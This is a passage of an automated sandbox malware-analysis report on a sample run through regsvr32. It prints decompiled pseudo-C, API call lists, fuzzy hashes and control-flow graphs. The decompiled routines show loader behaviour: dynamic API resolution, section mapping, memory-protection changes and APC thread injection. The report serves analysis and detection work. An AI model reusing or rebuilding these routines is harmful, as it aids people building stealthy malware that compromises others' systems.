                  Memory Dump Source
                  • Source File: 00000003.00000002.776166901.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_d20000_regsvr32.jbxd
                  Similarity
                  • API ID: AllocateMemoryVirtual
                  • String ID: $J
                  • API String ID: 2167126740-2211503540
                  • Opcode ID: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction ID: a144944ce536f480d440b5c239ece093cba69995cf5f387d7a3100853cdde802
                  • Opcode Fuzzy Hash: 5f574d9d49333186a4c73137fca3ce9d82e6f6f8f83925c18a500d36b985e605
                  • Instruction Fuzzy Hash: DDF0F83A604208FFEB00CEC8DD40FDDB7B8EB89324F2082A2E520E6190D7B09A049B50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 00D20D8D Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 27nativeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 130 d20d8d-d20dcf NtFreeVirtualMemory
                  APIs
                  • NtFreeVirtualMemory.NTDLL(000000FF,?,?,00008000,00D20D8D,?,?,?,?,?), ref: 00D20DC7
                  Strings
                  Memory Dump Source
                  • Source File: 00000003.00000002.776166901.0000000000D20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_d20000_regsvr32.jbxd
                  Similarity
                  • API ID: FreeMemoryVirtual
                  • String ID: M%J
                  • API String ID: 3963845541-4193894376
                  • Opcode ID: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction ID: bf7872c9fe9f5693e852e83aeca34595a71a77fe32d333bc827e9c3a3d5de9a0
                  • Opcode Fuzzy Hash: 9ea6db0e0cc000246cee115963e7fd772b001f044fd3997d0d2202d703182e26
                  • Instruction Fuzzy Hash: B2E0C93B604118FEDB00CFD8E940DDDBB79EF89334B208262E514A60A0D7719754AB50
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF205B Relevance: 1.5, APIs: 1, Instructions: 34nativeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 153 2df205b-2df208d NtMapViewOfSection 154 2df208f-2df2091 153->154 155 2df2093 153->155 156 2df2097-2df209a 154->156 155->156
                  C-Code - Quality: 68%
                  			E02DF205B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                  0x02df206d
                  0x02df2073
                  0x02df2081
                  0x02df2088
                  0x02df208d
                  0x02df2093
                  0x00000000
                  0x02df2094
                  0x00000000

                  APIs
                  • NtMapViewOfSection.NTDLL(00000000,000000FF,02DF1EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,02DF1EE8,?), ref: 02DF2088
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: SectionView
                  • String ID:
                  • API String ID: 1323581903-0
                  • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction ID: b69cc123ac38696728636e62f8c42ca3241a80465636f0a7fa1d9e164d3e7d8e
                  • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction Fuzzy Hash: 55F012B690020CBFDB119FA5CC89CAFBBBDEB44398F104939B652E1194D6309E088A60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF1598 Relevance: 13.6, APIs: 9, Instructions: 81filetimeCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 69%
                  			E02DF1598(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t19;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L02DF2250();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x2df41c4;
				_push(_t15 + 0x2df5149);
				_push(_t15 + 0x2df5048);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L02DF224A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t19 = CreateFileMappingW(0xffffffff, 0x2df41c8, 4, 0, _t18,  &_v60); // executed
				_t34 = _t19;
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0); // executed
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}














                  0x02df1598
                  0x02df15a1
                  0x02df15a5
                  0x02df15ab
                  0x02df15b0
                  0x02df15b5
                  0x02df15b8
                  0x02df15bb
                  0x02df15c0
                  0x02df15c1
                  0x02df15c4
                  0x02df15cf
                  0x02df15d6
                  0x02df15da
                  0x02df15dc
                  0x02df15dd
                  0x02df15e0
                  0x02df15e5
                  0x02df15ef
                  0x02df15f1
                  0x02df15f1
                  0x02df1605
                  0x02df160b
                  0x02df160f
                  0x02df165f
                  0x02df1611
                  0x02df161a
                  0x02df1630
                  0x02df1638
                  0x02df164a
                  0x02df164e
                  0x00000000
                  0x00000000
                  0x02df163a
                  0x02df163d
                  0x02df1642
                  0x02df1644
                  0x02df1644
                  0x02df1625
                  0x02df1627
                  0x02df1650
                  0x02df1651
                  0x02df1651
                  0x02df161a
                  0x02df1667

                  APIs
                  • GetSystemTimeAsFileTime.KERNEL32(?), ref: 02DF15A5
                  • _aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02DF15BB
                  • _snwprintf.NTDLL ref: 02DF15E0
                  • CreateFileMappingW.KERNELBASE(000000FF,02DF41C8,00000004,00000000,?,?), ref: 02DF1605
                  • GetLastError.KERNEL32 ref: 02DF161C
                  • MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 02DF1630
                  • GetLastError.KERNEL32 ref: 02DF1648
                  • CloseHandle.KERNEL32(00000000), ref: 02DF1651
                  • GetLastError.KERNEL32 ref: 02DF1659
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
                  • String ID:
                  • API String ID: 1724014008-0
                  • Opcode ID: a557bf2c208fe5601d85168509b6c24f548169c47b525554e76ad1009b1b72d5
                  • Instruction ID: e742a713fc7301d7f95867110a5bed6c82a988f67d9e2684fc6455a1280b8581
                  • Opcode Fuzzy Hash: a557bf2c208fe5601d85168509b6c24f548169c47b525554e76ad1009b1b72d5
                  • Instruction Fuzzy Hash: 5D21A1B2A40184FFD7909FA4DC88E9E37A9EB48354F264466FB09E6380D770DD54CB68
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF1142 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 100%
                  			E02DF1142(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E02DF2046(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x2df41c4 + 0x2df512f);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x2df41c4 + 0x2df5139);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E02DF1CD6(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x2df41c4 + 0x2df5000);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x2df41c4 + 0x2df50b9);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x2df41c4 + 0x2df505a);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x2df41c4 + 0x2df5052);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E02DF1E76(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}












                  0x02df1150
                  0x02df1154
                  0x02df1215
                  0x02df115a
                  0x02df1172
                  0x02df1181
                  0x02df1188
                  0x02df118a
                  0x02df118f
                  0x02df120d
                  0x02df120e
                  0x02df1191
                  0x02df119e
                  0x02df11a0
                  0x02df11a5
                  0x00000000
                  0x02df11a7
                  0x02df11b4
                  0x02df11b6
                  0x02df11bb
                  0x00000000
                  0x02df11bd
                  0x02df11ca
                  0x02df11cc
                  0x02df11d1
                  0x00000000
                  0x02df11d3
                  0x02df11e0
                  0x02df11e2
                  0x02df11e7
                  0x00000000
                  0x02df11e9
                  0x02df11ef
                  0x02df11f5
                  0x02df11fa
                  0x02df11ff
                  0x02df1204
                  0x00000000
                  0x02df1206
                  0x02df1209
                  0x02df1209
                  0x02df1204
                  0x02df11e7
                  0x02df11d1
                  0x02df11bb
                  0x02df11a5
                  0x02df118f
                  0x02df1223

                  APIs
                    • Part of subcall function 02DF2046: RtlAllocateHeap.NTDLL(00000000,?,02DF124D,00000030,74CB63F0,00000000), ref: 02DF2052
                  • GetModuleHandleA.KERNEL32(?,00000020), ref: 02DF1166
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02DF1188
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02DF119E
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02DF11B4
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02DF11CA
                  • GetProcAddress.KERNEL32(00000000,?), ref: 02DF11E0
                    • Part of subcall function 02DF1E76: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,74CB4EE0,00000000,00000000), ref: 02DF1ED3
                    • Part of subcall function 02DF1E76: memset.NTDLL ref: 02DF1EF5
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: AddressProc$AllocateCreateHandleHeapModuleSectionmemset
                  • String ID:
                  • API String ID: 3012371009-0
                  • Opcode ID: 68f615de6a0ede540a47c144cf8fd5c594b38dd5311ca2a9b99f13ab07f13713
                  • Instruction ID: a763da016e9e93a1809bfd687e5c392475fb810d47b67fda5d66ccea9c7fe46d
                  • Opcode Fuzzy Hash: 68f615de6a0ede540a47c144cf8fd5c594b38dd5311ca2a9b99f13ab07f13713
                  • Instruction Fuzzy Hash: 4B212AB0A0060AEFD790DFA9D984A5A77ECEF04304B168565E619D7351EB30EE14CF68
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF17EF Relevance: 9.1, APIs: 6, Instructions: 71memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 86%
                  			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x2df4188);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x2df418c;
						if( *0x2df418c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x2df4198;
								if( *0x2df4198 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x2df418c);
						}
						HeapDestroy( *0x2df4190);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x2df4188) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						 *0x2df4190 = _t18;
						_t41 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x2df41b0 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E02DF1F97(E02DF1FF5, E02DF1DF6(_a12, 1, 0x2df4198, _t41));
							 *0x2df418c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}












                  0x02df17f2
                  0x02df17fe
                  0x02df1800
                  0x02df1803
                  0x02df1879
                  0x02df187f
                  0x02df1881
                  0x02df1883
                  0x02df1889
                  0x02df188b
                  0x02df1890
                  0x02df1893
                  0x02df189e
                  0x02df18a0
                  0x00000000
                  0x00000000
                  0x02df18a2
                  0x02df18a5
                  0x02df18a7
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02df18a7
                  0x02df18af
                  0x02df18af
                  0x02df18bb
                  0x02df18bb
                  0x02df1805
                  0x02df1806
                  0x02df1826
                  0x02df182c
                  0x02df1831
                  0x02df1833
                  0x02df186f
                  0x02df186f
                  0x02df1835
                  0x02df183d
                  0x02df1844
                  0x02df184e
                  0x02df185a
                  0x02df185f
                  0x02df1866
                  0x02df186b
                  0x00000000
                  0x02df186b
                  0x02df1866
                  0x02df1833
                  0x02df1806
                  0x02df18c8

                  APIs
                  • InterlockedIncrement.KERNEL32(02DF4188), ref: 02DF1811
                  • HeapCreate.KERNEL32(00000000,00400000,00000000), ref: 02DF1826
                    • Part of subcall function 02DF1F97: CreateThread.KERNEL32 ref: 02DF1FAE
                    • Part of subcall function 02DF1F97: QueueUserAPC.KERNEL32(?,00000000,?), ref: 02DF1FC3
                    • Part of subcall function 02DF1F97: GetLastError.KERNEL32(00000000), ref: 02DF1FCE
                    • Part of subcall function 02DF1F97: TerminateThread.KERNEL32(00000000,00000000), ref: 02DF1FD8
                    • Part of subcall function 02DF1F97: CloseHandle.KERNEL32(00000000), ref: 02DF1FDF
                    • Part of subcall function 02DF1F97: SetLastError.KERNEL32(00000000), ref: 02DF1FE8
                  • InterlockedDecrement.KERNEL32(02DF4188), ref: 02DF1879
                  • SleepEx.KERNEL32(00000064,00000001), ref: 02DF1893
                  • CloseHandle.KERNEL32 ref: 02DF18AF
                  • HeapDestroy.KERNEL32 ref: 02DF18BB
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
                  • String ID:
                  • API String ID: 2110400756-0
                  • Opcode ID: b95c96daa9b273cb8a2dc5a45e3e313c83dfc9b71b7b665710e6b926dfe09d14
                  • Instruction ID: a8a0c52ac558327d609908042c3a267a7de8276ee4b039e16d88072a2bf83112
                  • Opcode Fuzzy Hash: b95c96daa9b273cb8a2dc5a45e3e313c83dfc9b71b7b665710e6b926dfe09d14
                  • Instruction Fuzzy Hash: 8C219A31E80245FBDBD09FA9ED84A1A7BA8FB54664B12492AE709E3340D730CD10CB68
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF1F97 Relevance: 9.0, APIs: 6, Instructions: 32threadinjectionCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 100%
                  			E02DF1F97(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x2df41c0, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}








                  0x02df1fae
                  0x02df1fb4
                  0x02df1fb8
                  0x02df1fc3
                  0x02df1fcb
                  0x02df1fd4
                  0x02df1fd8
                  0x02df1fdf
                  0x02df1fe6
                  0x02df1fe8
                  0x02df1fee
                  0x02df1fcb
                  0x02df1ff2

                  APIs
                  • CreateThread.KERNEL32 ref: 02DF1FAE
                  • QueueUserAPC.KERNEL32(?,00000000,?), ref: 02DF1FC3
                  • GetLastError.KERNEL32(00000000), ref: 02DF1FCE
                  • TerminateThread.KERNEL32(00000000,00000000), ref: 02DF1FD8
                  • CloseHandle.KERNEL32(00000000), ref: 02DF1FDF
                  • SetLastError.KERNEL32(00000000), ref: 02DF1FE8
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
                  • String ID:
                  • API String ID: 3832013932-0
                  • Opcode ID: 00a57f9a1b02d4891b09c6c483a9d1aef5861ca16195488c5fa8a9cb878a6554
                  • Instruction ID: bab07dc04e62baf54fa4aeea24e457dd364c5a26cefc4747356df00030d11591
                  • Opcode Fuzzy Hash: 00a57f9a1b02d4891b09c6c483a9d1aef5861ca16195488c5fa8a9cb878a6554
                  • Instruction Fuzzy Hash: 79F0DA32D85660FBD7D15FA0AC08F5ABF69BF08652F264846F70595754C7218C208BA9
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF1FF5 Relevance: 6.0, APIs: 4, Instructions: 30threadCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 87%
                  			E02DF1FF5(void* __ecx, char _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E02DF1226(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}







                  0x02df1ffe
                  0x02df2003
                  0x02df2011
                  0x02df2016
                  0x02df2016
                  0x02df201c
                  0x02df2021
                  0x02df2025
                  0x02df2029
                  0x02df2029
                  0x02df2033
                  0x02df203c

                  APIs
                  • GetCurrentThread.KERNEL32 ref: 02DF1FF8
                  • SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 02DF2003
                  • SetThreadPriority.KERNEL32(00000000,000000FF), ref: 02DF2016
                  • SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 02DF2029
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: Thread$Priority$AffinityCurrentMask
                  • String ID:
                  • API String ID: 1452675757-0
                  • Opcode ID: 096a2084c8384272f4b6d5ed07f94a1546642d23d073ea3cc529365ed0340308
                  • Instruction ID: 665621215b2705efe518ecfd8801e705fcb97b1d9264418741709e15aae56ecf
                  • Opcode Fuzzy Hash: 096a2084c8384272f4b6d5ed07f94a1546642d23d073ea3cc529365ed0340308
                  • Instruction Fuzzy Hash: BFE022326012103BA2A22E289C88E6B675CEF853317230226FB20D23C0CB508D15C9BC
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF170E Relevance: 4.6, APIs: 3, Instructions: 68memoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 115 2df170e-2df1751 VirtualProtect 116 2df1757-2df175b 115->116 117 2df17e5-2df17ec 115->117 116->117 118 2df1761-2df176b 116->118 119 2df176d-2df1777 118->119 120 2df1789-2df1793 118->120 123 2df1779-2df177f 119->123 124 2df1781-2df1787 119->124 121 2df17a7 120->121 122 2df1795-2df17a5 120->122 125 2df17ad-2df17c0 VirtualProtect 121->125 122->121 122->125 123->125 124->125 126 2df17cb-2df17df 125->126 127 2df17c2-2df17c8 GetLastError 125->127 126->116 126->117 127->126
                  C-Code - Quality: 87%
                  			E02DF170E(void* __eax, void* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				long _v20;
				int _t42;
				long _t53;
				intOrPtr _t56;
				void* _t57;
				signed int _t59;

				_v12 = _v12 & 0x00000000;
				_t56 =  *0x2df41c0;
				_t57 = ( *(__eax + 0x14) & 0x0000ffff) + __eax + 0x18;
				_v16 =  *(__eax + 6) & 0x0000ffff;
				VirtualProtect(_a4,  *(__eax + 0x54), _t56 - 0x43175abf,  &_v20); // executed
				_v8 = _v8 & 0x00000000;
				if(_v16 <= 0) {
					L12:
					return _v12;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t59 = _v12;
					if(_t59 != 0) {
						goto L12;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						asm("bt [esi+0x24], eax");
						if(__eflags >= 0) {
							L8:
							_t53 = _t56 - 0x43175abf;
							L9:
							_t42 = VirtualProtect( *((intOrPtr*)(_t57 + 0xc)) + _a4,  *(_t57 + 8), _t53,  &_v20); // executed
							if(_t42 == 0) {
								_v12 = GetLastError();
							}
							_t57 = _t57 + (_t56 - 0x3175ac2) * 0x28;
							_v8 = _v8 + 1;
							if(_v8 < _v16) {
								continue;
							} else {
								goto L12;
							}
						}
						asm("bt [esi+0x24], eax");
						_t53 = _t56 - 0x43175ac1;
						if(__eflags >= 0) {
							goto L9;
						}
						goto L8;
					}
					asm("bt [esi+0x24], eax");
					if(_t59 >= 0) {
						_t53 = _t56 - 0x43175aa3;
					} else {
						_t53 = _t56 - 0x43175a83;
					}
					goto L9;
				}
				goto L12;
			}












                  0x02df1718
                  0x02df1725
                  0x02df172b
                  0x02df1737
                  0x02df1747
                  0x02df1749
                  0x02df1751
                  0x02df17e5
                  0x02df17ec
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02df1757
                  0x02df1757
                  0x02df1757
                  0x02df175b
                  0x00000000
                  0x00000000
                  0x02df1767
                  0x02df176b
                  0x02df178f
                  0x02df1793
                  0x02df17a7
                  0x02df17a7
                  0x02df17ad
                  0x02df17bc
                  0x02df17c0
                  0x02df17c8
                  0x02df17c8
                  0x02df17d4
                  0x02df17d6
                  0x02df17df
                  0x00000000
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02df17df
                  0x02df179b
                  0x02df179f
                  0x02df17a5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02df17a5
                  0x02df1773
                  0x02df1777
                  0x02df1781
                  0x02df1779
                  0x02df1779
                  0x02df1779
                  0x00000000
                  0x02df1777
                  0x00000000

                  APIs
                  • VirtualProtect.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 02DF1747
                  • VirtualProtect.KERNEL32(00000000,?,?,?), ref: 02DF17BC
                  • GetLastError.KERNEL32 ref: 02DF17C2
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: ProtectVirtual$ErrorLast
                  • String ID:
                  • API String ID: 1469625949-0
                  • Opcode ID: ab28559988704859034fe5ae6fb2d4a004d290c0adc4b30bc582615b07fa02f1
                  • Instruction ID: 281fd48ff7bb2c86bb7ca8ea478cda8342b223773dbae1b403873e97c7543b9a
                  • Opcode Fuzzy Hash: ab28559988704859034fe5ae6fb2d4a004d290c0adc4b30bc582615b07fa02f1
                  • Instruction Fuzzy Hash: 45212D31C0021AEFCB54CF95C981AA9F7F4FF04305F15586AE21AA6A10E734EA69CF58
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02DF20A4 Relevance: 3.1, APIs: 2, Instructions: 60stringthreadCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 132 2df20a4-2df20bb 133 2df20bd-2df20c3 132->133 134 2df20c5 132->134 135 2df20cb-2df20f8 call 2df1e4a call 2df13a7 133->135 134->135 140 2df20fa-2df211f lstrlenW call 2df1598 135->140 141 2df2153-2df2155 135->141 145 2df2148-2df214c call 2df166a 140->145 146 2df2121-2df2133 140->146 142 2df2156-2df2157 ExitThread 141->142 150 2df2151 145->150 148 2df2135-2df2140 call 2df2164 146->148 149 2df2142-2df2144 146->149 148->145 149->145 150->142
                  C-Code - Quality: 100%
                  			E02DF20A4() {
				char _v16;
				intOrPtr _v28;
				void _v32;
				void* _v36;
				intOrPtr _t15;
				void* _t16;
				void* _t24;
				long _t25;
				int _t26;
				void* _t30;
				intOrPtr* _t32;
				signed int _t36;
				intOrPtr _t39;

				_t15 =  *0x2df41c4;
				if( *0x2df41ac > 5) {
					_t16 = _t15 + 0x2df5150;
				} else {
					_t16 = _t15 + 0x2df527e;
				}
				E02DF1E4A(_t16, _t16);
				_t36 = 6;
				memset( &_v32, 0, _t36 << 2);
				_t24 = E02DF13A7( &_v32,  &_v16,  *0x2df41c0 ^ 0xdd0210cf); // executed
				if(_t24 == 0) {
					_t25 = 0xb;
				} else {
					_t26 = lstrlenW( *0x2df41b8);
					_t8 = _t26 + 2; // 0x2
					_t11 = _t26 + _t8 + 8; // 0xa
					_t30 = E02DF1598(_t39, _t11,  &_v32,  &_v36); // executed
					if(_t30 == 0) {
						_t40 =  *0x2df41b8;
						_t32 = _v36;
						 *_t32 = 0;
						if( *0x2df41b8 == 0) {
							 *((short*)(_t32 + 4)) = 0;
						} else {
							E02DF2164(_t45, _t40, _t32 + 4);
						}
					}
					_t25 = E02DF166A(_v28); // executed
				}
				ExitThread(_t25);
			}
















                  0x02df20aa
                  0x02df20bb
                  0x02df20c5
                  0x02df20bd
                  0x02df20bd
                  0x02df20bd
                  0x02df20cc
                  0x02df20d5
                  0x02df20da
                  0x02df20f1
                  0x02df20f8
                  0x02df2155
                  0x02df20fa
                  0x02df2100
                  0x02df2106
                  0x02df2114
                  0x02df2118
                  0x02df211f
                  0x02df2121
                  0x02df2127
                  0x02df212b
                  0x02df2133
                  0x02df2144
                  0x02df2135
                  0x02df213b
                  0x02df213b
                  0x02df2133
                  0x02df214c
                  0x02df214c
                  0x02df2157

                  APIs
                  Memory Dump Source
                  • Source File: 00000003.00000002.776263267.0000000002DF0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02DF0000, based on PE: true
                  • Associated: 00000003.00000002.776263267.0000000002DF5000.00000040.00001000.00020000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_3_2_2df0000_regsvr32.jbxd
                  Similarity
                  • API ID: ExitThreadlstrlen
                  • String ID:
                  • API String ID: 2636182767-0
                  • Opcode ID: ed2f6bc04fed83f208431d92dda1d977fca9bdffd6fbe8aac87901a05b683913
                  • Instruction ID: edb4840e35f7475f59d92c3a24559c1b692177846f5f35cf350eac1109bba405
                  • Opcode Fuzzy Hash: ed2f6bc04fed83f208431d92dda1d977fca9bdffd6fbe8aac87901a05b683913
